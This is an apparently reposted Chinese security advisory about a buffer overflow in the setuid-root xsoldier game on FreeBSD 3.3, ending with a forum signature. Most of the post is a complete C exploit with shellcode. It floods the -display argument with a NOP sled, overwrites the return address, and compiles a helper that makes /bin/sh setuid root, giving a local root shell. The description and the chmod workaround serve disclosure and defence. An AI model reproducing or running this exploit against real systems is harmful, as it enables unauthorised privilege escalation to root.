FreeBSD 'xsoldier' 缓冲区溢出漏洞
受影响的系统: FreeBSD FreeBSD 3.3 描述:
某些FreeBSD版本(现在只测试了FreeBSD 3.3-RELEASE)的X11游戏软件包中带 了一个游戏程序xsoldier,它缺省被设置了suid root位,因此它可以在X windows 的控制台运行. 这个程序自身存在一个缓冲区溢出的漏洞,有可能被用来非法获得root权限. 问题出在程序处理"-display"(指定显示内容将被送到哪个X server)参数的部分 .攻击者并不需要指定一个有效的$DISPLAY变量,只需要在命令行提供一个很长的 字符串作为"-display"的参数,就有可能发生缓 冲区溢出.
测试程序: 警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自 负!
/* * xsoldier exploit for Freebsd-3.3-RELEASE * Drops a suid root shell in /bin/sh * Brock Tellier [email protected] */
#include <stdio.h>
char shell[]= /* [email protected] */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";
#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"
void buildui() { FILE *fp; char cc[100]; fp = fopen("/tmp/ui.c", "w"); fprintf(fp, CODE); fclose(fp); snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c"); system(cc); }
main (int argc, char *argv[] ) { int x = 0; int y = 0; int offset = 0; int bsize = 4400; char buf[bsize]; int eip = 0xbfbfdb65; /* works for me */ buildui();
if (argv[1]) { offset = atoi(argv[1]); eip = eip + offset; } fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE <[email protected]>\n"); fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n"); fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsi ze);
for ( x = 0; x < 4325; x++) buf[x] = 0x90; fprintf(stderr, "NOPs to %d\n", x);
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y]; fprintf(stderr, "Shellcode to %d\n",x);
buf[x++] = eip & 0x000000ff; buf[x++] = (eip & 0x0000ff00) >> 8; buf[x++] = (eip & 0x00ff0000) >> 16; buf[x++] = (eip & 0xff000000) >> 24; fprintf(stderr, "eip to %d\n",x);
buf[bsize]='\0'; execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL ); }
建议: 目前只有尚未有补丁程序,临时解决方法是chmod u-s xsoldier.
-- 欢迎大家常来回合策略 宗教信仰坐坐。 欢迎光临魔法师学院http://wwwmagic.126.com * * * * * 无挂碍故无有恐怖 --DOS--
※ 来源:.网易虚拟社区北京站 http://bj.netease.com.[FROM: 202.106.246.126]
|
|